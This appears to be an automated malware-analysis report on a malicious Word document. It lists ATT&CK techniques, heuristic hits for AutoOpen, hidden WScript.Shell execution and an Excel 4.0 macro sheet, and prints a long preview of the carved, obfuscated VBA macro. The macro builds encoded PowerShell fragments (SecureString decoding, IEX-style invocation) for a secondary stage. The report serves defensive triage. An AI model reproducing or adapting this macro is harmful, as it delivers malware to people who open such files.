MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting an attempt to execute commands or launch external processes. The presence of a VBA macro named 'macros.bas' further supports this, likely serving as a downloader for a secondary stage.
Heuristics 10
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run zhfDPjC + WzFrpZBMhR + OEwjJzXGlPzqZp + pBJIFXbZZ, vbHide Select Case GcAKmE -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run zhfDPjC + WzFrpZBMhR + OEwjJzXGlPzqZp + pBJIFXbZZ, vbHide Select Case GcAKmE -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 62650 bytes |
SHA-256: 49f9071a55e0accba1c06854ba259afce4674b71d787f579cae62717f5e46080 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
474 of 832 identifiers look randomly generated (e.g. 'AkBQZAcDAjBAZAIDAyAgZAcDAjBAMAIDA5AwYAAD') — consistent with name-mangling obfuscation. Carved artifact contains 13 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "SWdjaVBbI"
Function SastorjCqv()
On Error Resume Next
Select Case DiGww
Case 38918
RQois = Fix(76022)
QQjmcM = Int(69466)
Case 2748
jnzih = dAXQwZ
matikN = ChrW(HFSZSj)
End Select
iOjPP = mlttdIt + GVtEt("O%wi%zjUz(_37zJA@AZAEGAzAwNAQDAwAQMAEGA0AwMAADAjBgZAIDA4AQYAQGAzAgNAgDA4AwYAJu0b", 5, 59)
Select Case DiGww
Case 38918
RQois = Fix(76022)
QQjmcM = Int(69466)
Case 2748
jnzih = dAXQwZ
matikN = ChrW(HFSZSj)
End Select
Select Case PcdvVk
Case 76582
LHwSf = Fix(3556)
iEJmd = Int(73959)
Case 22959
XLbXp = BaNXaK
QInuH = ChrW(wscnCL)
End Select
AJJdS = NJfiT + GVtEt("8Sla(03)jhQjZF(o!]JHAAOAgDAlBQOAgDAmBQNAgDA0AQMAADA0AgYAIGAxAQNAEGAzAQZAIGAwAAMAQGA4AQMAYDAxAgMAEDAkBQOAMGA4AgYAIDAyAgMAH#9n(", 6, 100)
Select Case PcdvVk
Case 76582
LHwSf = Fix(3556)
iEJmd = Int(73959)
Case 22959
XLbXp = BaNXaK
QInuH = ChrW(wscnCL)
End Select
Select Case tdbap
Case 25657
ZPPoU = Fix(42335)
WdrBAF = Int(23442)
Case 2536
kwslI = rraEbK
dBisvF = ChrW(AXolUn)
End Select
fNCLmz = FCfXH + GVtEt("sf8$1awqh1(A1AAMAkDA1AAZAcDAlBAZAkDAxAAMAYGAzAQMAADAjBwMAcDAlBwYAYDAwAwMAIDAiBQYAcDAlBAOAIGA2AgNAIGA0AQZAgDA4AwMAIDAzAgMAMGA3AwNAgDAkBwNAMGAhBwNAIDAxAANAADA5AAZAMGAyAQYAADA0AAMAUDYcJ", 4, 168)
Select Case tdbap
Case 25657
ZPPoU = Fix(42335)
WdrBAF = Int(23442)
Case 2536
kwslI = rraEbK
dBisvF = ChrW(AXolUn)
End Select
Select Case zUhbV
Case 24366
YtDRw = Fix(57313)
vGiSM = Int(67396)
Case 41253
JsChNZ = CrXpk
UYhQa = ChrW(aKuQhP)
End Select
EnGdLVVEHUd = wFAFCr + GVtEt("J%ar)X)3tu!#AGA0AQOAUDA1AwMAMGA2AAMAIDAmBAOAQGAkBgMAMGAwAQMAYGA3A]Lb<P", 6, 52)
Select Case zUhbV
Case 24366
YtDRw = Fix(57313)
vGiSM = Int(67396)
Case 41253
JsChNZ = CrXpk
UYhQa = ChrW(aKuQhP)
End Select
Select Case rozPvf
Case 92646
ELhGSl = Fix(79122)
XZjAAi = Int(96399)
Case 39896
hFwDEn = iOziE
tncdf = ChrW(MUIjB)
End Select
RlcbwNSIMfw = pjJcV + GVtEt(")n1cwKMmjBQZAYDAmBwYAkDA5AQMAADAxAgNAYGAxAQOAMDA3AQNAgDAmBAMAADAxAgYAIDAhBQZAIDAzAgMAUGAxAQNAMDA2AQYAYDA2AQNAkDA4AQNAkDAhBQZAYGA0AAZAUGAzAwMAMDAwAQMAUGA5AAMAIGAjBgNAQD#I_P(UnF", 9, 159)
Select Case rozPvf
Case 92646
ELhGSl = Fix(79122)
XZjAAi = Int(96399)
Case 39896
hFwDEn = iOziE
tncdf = ChrW(MUIjB)
End Select
Select Case WhizMB
Case 28076
PJsRoK = Fix(32513)
mBbhr = Int(55156)
Case 82850
doLSpj = wRjln
wjKNoc = ChrW(dlkrmY)
End Select
TqoRriXLKAW = LwJtmM + GVtEt("16ZLQ]hTdHFi8K).]lAhSRam.SECiVreSPorETnI.EmiTNur[(::]lAhsrAM.SEcIVREsPOretNI.EMITnUr[((xeI<)]Hz]@cBH#JfHGn8ZEu", 21, 75)
Select Case WhizMB
Case 28076
PJsRoK = Fix(32513)
mBbhr = Int(55156)
Case 82850
doLSpj = wRjln
wjKNoc = ChrW(dlkrmY)
End Select
Select Case sYvbIk
Case 21640
EJkAUo = Fix(57454)
zqowc = Int(96334)
Case 18171
EzfCc = LrcSVp
ZsiiSk = ChrW(wQZiS)
End Select
EvnSKl = bNMFuqB + GVtEt("A4Z#(m)b8LwOAFAJBQTAgHA8BgM5435a05061b3143240f3476111d294J#", 3, 45)
Select Case sYvbIk
Case 21640
EJkAUo = Fix(57454)
zqowc = Int(96334)
Case 18171
EzfCc = LrcSVp
ZsiiSk = ChrW(wQZiS)
End Select
Select Case wVbaK
Case 62257
TUnua = Fix(34845)
MlJWX = Int(35189)
Case 14130
Sjzli = brajzk
vikCH = ChrW(ElBOF)
End Select
XFnIP = qfdLO + GVtEt("SNuBQYAYGA0AQOAYDA3AwYAUGAxAAMAYGA2AgMw58RuNq(", 9, 35)
Select Case wVbaK
Case 62257
TUnua = Fix(34845)
MlJWX = Int(35189)
Case 14130
Sjzli = brajzk
vikCH = ChrW(ElBOF)
End Select
Select Case TwmYYL
Case 91258
qwnHZX = Fix(43090)
JGuwu = Int(3287)
Case 69506
FhWlu = jOLcHi
ItRMV = ChrW(wVvJUs)
End Select
HQPoojzXHVz = ZDzUo + GVtEt("wPiXzL(46i8ZWvvi62AzAAZAkDA4AwYAIDA0AwMAADAxAANAkDAxAwMAIGAhBQOAMGA5AwNAQGAmBwNAMGA0AgNAcDAhBAOAYGAmBwQ1b!Y5Kijjv1", 13, 84)
Select Case TwmYYL
Case 91258
qwnHZX = Fix(43090)
JGuwu = Int(3287)
Case 69506
FhWlu = jOLcHi
ItRMV = ChrW(wVvJUs)
End Select
Select Case JMXRs
Case 41626
idfdw = Fix(11741)
rnjJdA = Int(30062)
Case 23229
htWDz = KNzXbA
JDWHZr = ChrW(BzOtM)
End Select
UYvwUiJw = Oijrl + GVtEt("_nfH8wSAzAgYAQDA0AQMAMDA5AAMAgDAxAwNAQDAjBwYAgDA5AQYAEGAkBQOAQGA5AQOAQGAwAAMAADA0AwNAQDAxAAZAYGAyAgZAUGA1AAMAgDAzAgZAEDA3AAOAIDAjBgNAUDAwAQOAEDA0AAMAEGAxAgMAEDA1AANAQGAyAAMAMDA4AwNAgDAxAAZAcDA2AQZAEDAwAp6Q45", 6, 195)
Select Case JMXRs
Case 41626
idfdw = Fix(11741)
rnjJdA = Int(30062)
Case 23229
htWDz = KNzXbA
JDWHZr = ChrW(BzOtM)
End Select
Select Case ncMXY
Case 55271
ONJwV = Fix(19627)
WKiilJ = Int(68405)
Case 52140
LbAlpJ = ZJOcV
EfdWM = ChrW(LisktJ)
End Select
zUuapi = wVcdS + GVtEt("%XnT1(ZODAlBAMAADAmDTd7w<]@", 9, 11)
Select Case ncMXY
Case 55271
ONJwV = Fix(19627)
WKiilJ = Int(68405)
Case 52140
LbAlpJ = ZJOcV
EfdWM = ChrW(LisktJ)
End Select
Select Case LcCGj
Case 8735
WocEBb = Fix(33362)
VfolAw = Int(39843)
Case 57160
QSljs = jSYqI
vsccD = ChrW(fOjnNO)
End Select
vEqjbWf = bCHmhm + GVtEt("EF7h#61E) )) ) )402c1(S", 5, 11)
Select Case LcCGj
Case 8735
WocEBb = Fix(33362)
VfolAw = Int(39843)
Case 57160
QSljs = jSYqI
vsccD = ChrW(fOjnNO)
End Select
Select Case GFzcO
Case 48113
tcHuR = Fix(69984)
fMfHDj = Int(77053)
Case 53374
JNNzNi = JAXZD
aVAzNj = ChrW(GAiBwG)
End Select
qNHUnHuw = GcaHdOq + GVtEt("q)AJL0G2O3)j678!DLm03BTc4A2AAZAQGAkBwMAkDAhBQNAADAiBAZAMGA0AwYAYDA5AQZAQGAyAQMAEGA1AwNAIGAiBgNAYDA4AAMAIGAiBgMAADAt01DYi8sK", 10, 89)
Select Case GFzcO
Case 48113
tcHuR = Fix(69984)
fMfHDj = Int(77053)
Case 53374
JNNzNi = JAXZD
aVAzNj = ChrW(GAiBwG)
End Select
Select Case iFijk
Case 51017
ffqEz = Fix(77831)
dQPpTL = Int(5891)
Case 87432
EiZCTz = ntXAct
mOzvLA = ChrW(oQCQR)
End Select
dVJzXNP = mrpiPi + GVtEt("_bPFCKNh]iRGG(ziP]LAQMAEGAwAAMAIDAmBQZAgDA0AQZAgDA3AgMAMDAkBgNAUGAwAgYAEGA0AAMAMGAkBgNAADAlBAZAYGA1AAOAQGAkBwYAQGAyAAOAQDA2AQOAgDAmBAMAYDA0AAOAcDA5AQZAUGA3AgZAEGA1AQZAMDAwAQZAQGAwAwNAIGA4AAOAgDAlBAZAADAwGuK", 5, 183)
Select Case iFijk
Case 51017
ffqEz = Fix(77831)
dQPpTL = Int(5891)
Case 87432
EiZCTz = ntXAct
mOzvLA = ChrW(oQCQR)
End Select
Select Case uipir
Case 64374
IvzbJs = Fix(63930)
JdRcbX = Int(96127)
Case 83569
RPPciL = IiavbO
sAirNp = ChrW(wfZLqj)
End Select
ZIcCrhM = rqaUI + GVtEt("8U%7w7PHSA(2dYnzjQDA0AAMAgDAkBwNAQDAyAANAADAkBAZAIGAxAANAYDA5AQZAEDA4AAOAcDA1AQNAgDAwAAOAcDAiBQMAYDA0AQMAYGAzAAOAYDAkBgZAIDA4AgYAYGA4AgYAYGAlBgZAIDAxAANAEGAjBQYAEDA7P0qq)_", 8, 147)
Select Case uipir
Case 64374
IvzbJs = Fix(63930)
JdRcbX = Int(96127)
Case 83569
RPPciL = IiavbO
sAirNp = ChrW(wfZLqj)
End Select
Select Case FiSaH
Case 80114
YwzOa = Fix(32691)
zUDVMh = Int(47813)
Case 43512
CFKuw = OWwiE
DCTcSW = ChrW(BEKRll)
End Select
zUiYpnbsfL = Evwwq + GVtEt("t7h)#nA#PmqjFDAxAAOAUGAxAgYAYDT", 2, 17)
Select Case FiSaH
Case 80114
YwzOa = Fix(32691)
zUDVMh = Int(47813)
Case 43512
CFKuw = OWwiE
DCTcSW = ChrW(BEKRll)
End Select
Select Case Xzrzj
Case 64417
OrzhHF = Fix(60242)
LTwKIv = Int(99851)
Case 57203
FvfiuI = ILFIG
VVEwT = ChrW(ZNEXs)
End Select
TIMwqdOR = ZKJOKwi + GVtEt("Kp]YdzE]DPs_](E5mAkDA3AQOAIGAjBQOAIGAyAAZAQDA5AgNAEDAiBANAQGAjBQZ#0LC!A", 7, 48)
Select Case Xzrzj
Case 64417
OrzhHF = Fix(60242)
LTwKIv = Int(99851)
Case 57203
FvfiuI = ILFIG
VVEwT = ChrW(ZNEXs)
End Select
Select Case pvOkf
Case 2734
UUBKDu = Fix(5471)
pIMoih = Int(38277)
Case 80774
SFaLrq = vFsTwH
KiTEYG = ChrW(DCmvnQ)
End Select
sDhAACjzAur = qXuEdPX + GVtEt("d9mJHLjwF%Nb1AQYAQDAyAQYAcDAhBgMAQGA2AQMAYGAjBAZAgDAmBQNAgDAwAANAIGAi!i1v0RqU", 10, 56)
Select Case pvOkf
Case 2734
UUBKDu = Fix(5471)
pIMoih = Int(38277)
Case 80774
SFaLrq = vFsTwH
KiTEYG = ChrW(DCmvnQ)
End Select
Select Case SvMKdW
Case 57734
jAEizf = Fix(56829)
VzNGwV = Int(60588)
Case 70256
nOGLS = NVnhGi
VojJp = ChrW(NVoaZP)
End Select
CQqUGSpimL = DbaVFPS + GVtEt("j1Eiu(Uwi83NHAcDA2AAOAEDAxAQNAcDAiBgNAQGAkBQMAIDAwAQYAkDA5AQZAMDA0AQOAEGAzAwMAYDA3AQNAQDAjBAOAUGAwAgYAEDA2AQMAEGAzAgNARC.ww]aim1<_E%A3ZbdH8T15S", 26, 105)
Select Case SvMKdW
Case 57734
jAEizf = Fix(56829)
VzNGwV = Int(60588)
Case 70256
nOGLS = NVnhGi
VojJp = ChrW(NVoaZP)
End Select
Select Case PzftIN
Case 87611
QEJNK = Fix(3663)
aFTLQ = Int(51108)
Case 84156
cPQWKv = LGRUPB
hmwXd = ChrW(biBjim)
End Select
OSiFsZcVNk = alzcz + GVtEt(")@3n1EiqAMGAmBAZAQDA4AAMAMGAyAQOAEDAiBQOAEDAkBQZAQGAwAQOAQDA0AQZAYGAkBwMAIGA0AgYAcDL8E51)tUiNPwnbzRsJlz73iSH]iw", 29, 75)
Select Case PzftIN
Case 87611
QEJNK = Fix(3663)
aFTLQ = Int(51108)
Case 84156
cPQWKv = LGRUPB
hmwXd = ChrW(biBjim)
End Select
Select Case TiOsK
Case 66341
wWzsWm = Fix(25412)
JWdOj = Int(37814)
Case 95625
CRpYo = JVozMj
mKQSN = ChrW(PkcWq)
End Select
plWACZhpujl = icuBHX + GVtEt("S15!cSj6i_ZAIDA5AAMAIGAlBAMAkDA2AAMAgDAxAgMAcDAzAAMAUDAjBwYAUDAwAb", 2, 55)
Select Case TiOsK
Case 66341
wWzsWm = Fix(25412)
JWdOj = Int(37814)
Case 95625
CRpYo = JVozMj
mKQSN = ChrW(PkcWq)
End Select
Select Case tEXks
Case 4566
panIiU = Fix(13527)
RBzRvw = Int(53377)
Case 39079
QSbTM = uRSoi
CIzDw = ChrW(icWpQ)
End Select
AOJavRQuK = sThZWz + GVtEt("3SMP3Sju]UQ1igMAADAzAAOAUDA5AgNAEDAwAQMAQGAwAQNAADAxAANAwHA9AQPAcHAiBAUAwEAOBAWAgEAyHGK1Cd!", 8, 71)
Select Case tEXks
Case 4566
panIiU = Fix(13527)
RBzRvw = Int(53377)
Case 39079
QSbTM = uRSoi
CIzDw = ChrW(icWpQ)
End Select
Select Case tCsOir
Case 81612
GBDWE = Fix(12526)
wGkHkF = Int(51467)
Case 17532
SdKsI = QzSNBF
IcJVPM = ChrW(lJqVzN)
End Select
WLdTNLPYRYS = fzoEbL + GVtEt("b$]3ialP3)jii$%AkBQZAcDAjBAZAIDAyAgZAcDAjBAMAIDA5AwYAADA0AgMAUDAhBgNAUDA3AgNAgDAhBgNLu_iuwP<LPH", 12, 69)
Select Case tCsOir
Case 81612
GBDWE = Fix(12526)
wGkHkF = Int(51467)
Case 17532
SdKsI = QzSNBF
IcJVPM = ChrW(lJqVzN)
End Select
Select Case NnZTh
Case 63099
WAQJw = Fix(69505)
roNjj = Int(42859)
Case 37254
njkWi = PuoJnQ
bHRrw = ChrW(zmjpid)
End Select
JFoLoLHi = ORMkTtb + GVtEt("wJPlwbcH6U2_z7sj7L1%)iOLNnm%jjt614sGj,78,53,38,79,201,932,432,69,35,941,491,131,521,3N", 2, 48)
Select Case NnZTh
Case 63099
WAQJw = Fix(69505)
roNjj = Int(42859)
Case 37254
njkWi = PuoJnQ
bHRrw = ChrW(zmjpid)
End Select
Select Case ibTqK
Case 98038
dcIsbL = Fix(43911)
wcdjdU = Int(80791)
Case 35400
lNqVO = PdElL
AQzMO = ChrW(LKjib)
End Select
NwcqItifbAr = plBVkk + GVtEt(".4BANAcDAhBQNAQGAyAwMAQDA3AwMAYGA0AwNAUGAzAwYAIGAxAAZAMGAzAgYAYDAlBAMAIGjACi8Vijd<G", 12, 70)
Select Case ibTqK
Case 98038
dcIsbL = Fix(43911)
wcdjdU = Int(80791)
Case 35400
lNqVO = PdElL
AQzMO = ChrW(LKjib)
End Select
Select Case jhTdnM
Case 28898
GGqPl = Fix(80651)
wSjzLJ = Int(90138)
Case 87235
CTDHz = zcrsfz
hmcaJ = ChrW(XfuuG)
End Select
jhOkLKBmrC = VMALPnv + GVtEt("l1!J4nb(vD1dn<0Tj<Q2Nj5a<YTZ8AAdAADAIBwSAADAiBQcAYDANBQSAbjJ]", 5, 28)
Select Case jhTdnM
Case 28898
GGqPl = Fix(80651)
wSjzLJ = Int(90138)
Case 87235
CTDHz = zcrsfz
hmcaJ = ChrW(XfuuG)
End Select
Select Case WuMPL
Case 86041
ZitDz = Fix(95102)
ufipmV = Int(11457)
Case 52478
VXQfWi = aaTpZ
KDqwt = ChrW(DUoFwn)
End Select
ktcGqOzjo = oczoMf + GVtEt("JOC@Q7U11)3iNT3Z$O4jr2SAEGAlBgYAQGA2AgNAMGA2AQZAEGA2AQOAEGA2AQYAQGAlBgMAUDAzAgNAEGAiBAOAMDA4AwNAMGA3AQMAIDA1AAMAIDAzAgZAUGA4AgNAkDAlBQYALPmsi8C", 8, 113)
Select Case WuMPL
Case 86041
ZitDz = Fix(95102)
ufipmV = Int(11457)
Case 52478
VXQfWi = aaTpZ
KDqwt = ChrW(DUoFwn)
End Select
Select Case UAiOq
Case 73402
qDTrt = Fix(96657)
PKAYEP = Int(64787)
Case 16118
EwNIhM = iVaTRc
JGwHd = ChrW(cVUTzW)
End Select
sQqQPZ = DXmVi + GVtEt("wdzPzEX4bNIGAjBgYAMDAjBgNAEGA1AgZAMDAjBgMAUDAkBAOAkDAmBwYAYGA2AwMAEDA5AQZAUDAmBwYAUDA5AANAMDAhBQOAQDA4AQNAMDAyAgMAkDAwAAMAUGA0AwNAcDAyAwYAUDA3AgMAgDA0AQOAYGA2AAZAMGA5AgZAYDAmBwNAEDAkBAMAUGA4AgYAEGAmBGIZRT@n4TjmL)3304Q%bNb11]NG", 28, 189)
Select Case UAiOq
Case 73402
qDTrt = Fix(96657)
PKAYEP = Int(64787)
Case 16118
EwNIhM = iVaTRc
JGwHd = ChrW(cVUTzW)
End Select
Select Case cwfWI
Case 87636
OOZkUq = Fix(28476)
FwWdCN = Int(56192)
Case 82849
ozLAU = dJmTs
Jhltsi = ChrW(oilcjX)
End Select
dpIkbiiQbQ = hTQqjLI + GVtEt("0i)1U<%i.LSn)%iniEQUl)ZKA]u[UQYAYDAkBQYAQGAlBwMAMDAhBANAEDA3AQNAgDAkBgNAMDAjBgYAIDA3AQMAEGAxAQZAYGA4AAZAUDAjBAZAIGAiBQYAUGA5AAMAQGA2AANAIDA5AAMAUDQN1jw)7<NL", 11, 117)
Select Case cwfWI
Case 87636
OOZkUq = Fix(28476)
FwWdCN = Int(56192)
Case 82849
ozLAU = dJmTs
Jhltsi = ChrW(oilcjX)
End Select
Select Case HAnCj
Case 14484
mCsWNJ = Fix(68144)
IDqvAL = Int(47068)
Case 11579
rOitOq = PMMRs
SCLwEX = ChrW(wDjwp)
End Select
hWcuaXtndm = jpQdm + GVtEt("Sd#842,61,92,24,32,581,712,431,261,69,641,031,331,522,152,671,121,83 Ek- GNIrTSerUces-ottrEVnoC |'==AA3AANAkDAiBQMAkDAzAgNAcDAlBQNAIGAwAANAQDA2AAZAUDAkBQZAcDAiBgYAQDAmBwAwKj%YL(HtvlaiJ]$UNo(@LQ8A@j8ZT", 32, 166)
Select Case HAnCj
Case 14484
mCsWNJ = Fix(68144)
IDqvAL = Int(47068)
Case 11579
rOitOq = PMMRs
SCLwEX = ChrW(wDjwp)
End Select
Select Case mQVWQQ
Case 92126
iYaJt = Fix(6711)
pkAhQ = Int(65350)
Case 86303
OoVZTs = IptsCY
fXodtm = ChrW(iOdEv)
End Select
WhQziWWjQ = ohJisj + GVtEt("2!8Nv1]dSR8tJ([Nu_0tsJ5jYAQGAkBgZAIGAzAwMAQGA5AAOAEDA3AgNAYDAkBAOAc$EZ(dU(pU", 10, 43)
Select Case mQVWQQ
Case 92126
iYaJt = Fix(6711)
pkAhQ = Int(65350)
Case 86303
OoVZTs = IptsCY
fXodtm = ChrW(iOdEv)
End Select
Select Case nvPMkY
Case 16899
ZKZcTp = Fix(40178)
jwTDrb = Int(52906)
Case 29099
AwsKu = FYLiCZ
rvfUh = ChrW(unUPb)
End Select
tisIQTWAk = MEdOt + GVtEt("w1]6D%h_Tv)L7KjoPzfJ8vA0AQZAcDAhBAMAEDA3AwMAUDA4AQYAEGAjBANAEDAhBAMAEDA3AAMAYDAyAgZAUGAhBQYAADA4AAOAQDAhBANAQGA0AgYAEDA4AAMAkDAiBQYAMDAhBAMAYGAhBQMAQGAzAAMAYGA2AgNmS$3", 5, 141)
Select Case nvPMkY
Case 16899
ZKZcTp = Fix(40178)
jwTDrb = Int(52906)
Case 29099
AwsKu = FYLiCZ
rvfUh = ChrW(unUPb)
End Select
Select Case rGYaUI
Case 2155
OWSfF = Fix(85411)
jpXLvw = Int(40025)
Case 61209
MAhmf = KQwpG
CHharj = ChrW(YOlGL)
End Select
dCjAjPFHqi = uEWHEM + GVtEt("SohQtlJUb9b6z7$)dqjn#mBAZAcDAwAAOAYGA1AQMAgDAwAgZAUDA2AAMAQGAzAQOAMGAiBAMAYDAhBAOAUGAwAAMAYDAzAwNAIGA1AgZAgDAjBANAYDAlBgYAADAlBgYAMGAjBQYAEGA1AQOAUGAxAQZAEGAhBQYAIGAlBgZAYDA5AwMAQDAmBANAMGAkBAMAMGAzAgZAEGAz%zz3O", 6, 185)
Select Case rGYaUI
Case 2155
OWSfF = Fix(85411)
jpXLvw = Int(40025)
Case 61209
MAhmf = KQwpG
CHharj = ChrW(YOlGL)
End Select
Select Case KizsTl
Case 96821
OORVG = Fix(78471)
dKItwK = Int(25403)
Case 48850
BvhQDR = wSrXf
pTFaik = ChrW(IqTlKi)
End Select
LKtRYQBYPrj = XOKFB + GVtEt("lTT]%vEjK!oNLiw)AWwn67'($ (RTsBOtgNIRTseRUcEs::]LAHsrAM.SECivREspOrETnG)1pGpudiHG637lLH", 18, 50)
Select Case KizsTl
Case 96821
OORVG = Fix(78471)
dKItwK = Int(25403)
Case 48850
BvhQDR = wSrXf
pTFaik = ChrW(IqTlKi)
End Select
Select Case FXPiJM
Case 69781
KqqUGP = Fix(89206)
KskKFS = Int(26818)
Case 61092
isAnzq = OCAYZ
uiCYhV = ChrW(hzaDi)
End Select
SVpXbtZ = aLZWw + GVtEt("mfOVmBAMAADAyAgNAQfZTH%Mm%nNYz(%0@<z7R8", 22, 14)
Select Case FXPiJM
Case 69781
KqqUGP = Fix(89206)
KskKFS = Int(26818)
Case 61092
isAnzq = OCAYZ
uiCYhV = ChrW(hzaDi)
End Select
Select Case WBJCi
Case 32868
WqwmY = Fix(43573)
SVDLd = Int(80554)
Case 59841
CskZwl = bXCip
HvWUI = ChrW(bXvoQ)
End Select
OwRrfiAJ = lqwbn + GVtEt("]W!)TEz)Y71VmAUGAjBQNAUDA0AAOAIGAREN_G2", 7, 20)
Select Case WBJCi
Case 32868
WqwmY = Fix(43573)
SVDLd = Int(80554)
Case 59841
CskZwl = bXCip
HvWUI = ChrW(bXvoQ)
End Select
Select Case FBZwW
Case 99043
kJGCDd = Fix(66965)
OAMiiY = Int(26809)
Case 15826
lOSJpp = oirozz
nBaEj = ChrW(UoItq)
End Select
KBouK = fUFjt + GVtEt("8_uNQNAQGAzAwYAUDAhBQMAIGA4AQZAkDAyAwNAMGAxAgZAgDAwAQYAADAhBAMAUGAzAAMAIDAiBAOAEDA1AgYAYDA2AAZAIDA5AQYAEGAlBgMAIGAzAgYAEDAhBANAUGAkBgNAUGAkBAZAADAxAgMAYGA2AQ.oYXjY", 8, 152)
Select Case FBZwW
Case 99043
kJGCDd = Fix(66965)
OAMiiY = Int(26809)
Case 15826
lOSJpp = oirozz
nBaEj = ChrW(UoItq)
End Select
Select Case IhTaQ
Case 95177
HAsHWw = Fix(63116)
rOpIz = Int(44572)
Case 25666
YElQT = iMKQO
NkckI = ChrW(IFfRHU)
End Select
sEvGcZqFRO = PSlTwrs + GVtEt("nhq1AANAADAjBQYAQDA3AgMAQGA3AwNAMGAlB7ut!Vp8i_oHYT[b3i7]Z!z", 23, 34)
Select Case IhTaQ
Case 95177
HAsHWw = Fix(63116)
rOpIz = Int(44572)
Case 25666
YElQT = iMKQO
NkckI = ChrW(IFfRHU)
End Select
Select Case obBFBz
Case 17252
zEJVur = Fix(57326)
wrdZm = Int(54251)
Case 48452
wraCJU = iBRAEV
TzadO = ChrW(AiipkE)
End Select
DvpYQQ = pNkHbAk + GVtEt("1S<2UI.emITnuR[(eKoVni.)EMAn.]3[)(SreBmEmTeGiso6<ELmmwj![9(%4]#G5RNN1uUj<cCz", 33, 39)
Select Case obBFBz
Case 17252
zEJVur = Fix(57326)
wrdZm = Int(54251)
Case 48452
wraCJU = iBRAEV
TzadO = ChrW(AiipkE)
End Select
Select Case iUHmU
Case 32169
OLlDI = Fix(4598)
ikPjw = Int(67718)
Case 68520
WzjjrR = pHJKV
wjutYU = ChrW(tiswjX)
End Select
jZnNrTSG = rZYwMC + GVtEt("5cRdw$ZbH7GY)ljZn0zYnNV1(tLAEDAyAAZAUDA4AgMAgDA5AAOAQDAxAAOAYGA1AAZAMDAwAQMAMDA5AAMAMGAlBAZAEDAiBgY15vq_vt", 8, 72)
Select Case iUHmU
Case 32169
OLlDI = Fix(4598)
ikPjw = Int(67718)
Case 68520
WzjjrR = pHJKV
wjutYU = ChrW(tiswjX)
End Select
Select Case uwHXl
Case 17577
jCvtm = Fix(65874)
FMbRu = Int(11496)
Case 80610
VqAoSK = bEQpLX
Gtcilo = ChrW(iijNb)
End Select
UwQnnUX = tsMXqki + GVtEt("wTZAlBAOAcDAhBwNAYGAhBwMAIGA4AgNAQGAwAAMAYDA3AgYAIDA4AwMAMGA0A3NUfcwmb7YbNG%_Nwn(1tP%jD3ZtUAn", 32, 59)
Select Case uwHXl
Case 17577
jCvtm = Fix(65874)
FMbRu = Int(11496)
Case 80610
VqAoSK = bEQpLX
Gtcilo = ChrW(iijNb)
End Select
Select Case qGcrwZ
Case 75737
Vjska = Fix(64647)
aCUlmT = Int(87953)
Case 53589
hZUlH = UjlUuo
mtXoz = ChrW(HcbUjl)
End Select
KPQQFuOOH = CFisnMJ + GVtEt("SLwFQj)0LwDswtK]FvK%8jADAmBwYAQDA5AQNAMGAjBAOAYDAkBwNAUDAiBgNAEDAjBAZAcDAkBAMAUGA0AAZAIGAlBQYAMGA1AAMAYDAwAgMAYDAhBQZAIGAkBgYAEDAzAwYAIDA2AQYAQDAxAQZAUDA1AQYAUGA0AAOAgDAjBQYAMGAhBgNAUGAYL]Lr71_wNm1s7", 15, 163)
Select Case qGcrwZ
Case 75737
Vjska = Fix(64647)
aCUlmT = Int(87953)
Case 53589
hZUlH = UjlUuo
mtXoz = ChrW(HcbUjl)
End Select
Select Case cIado
Case 22774
zTPoW = Fix(72328)
oXmici = Int(59708)
Case 59392
CtdEU = zzAUP
YZpoX = ChrW(SmiowK)
End Select
OtrhhnIpFHm = wRPpZ + GVtEt("TKzZlQ]SAT1fU4)a6Z08$1EDA3AAZAUDAmBgNAIGAyAgYAADA4AAOAQDAlBANAUGARwuv", 5, 42)
Select Case cIado
Case 22774
zTPoW = Fix(72328)
oXmici = Int(59708)
Case 59392
CtdEU = zzAUP
YZpoX = ChrW(SmiowK)
End Select
Select Case NNlcuX
Case 47436
ipiRJz = Fix(29975)
QldaI = Int(62486)
Case 22345
OjNinT = TAqEUI
KECfl = ChrW(BpHfSq)
End Select
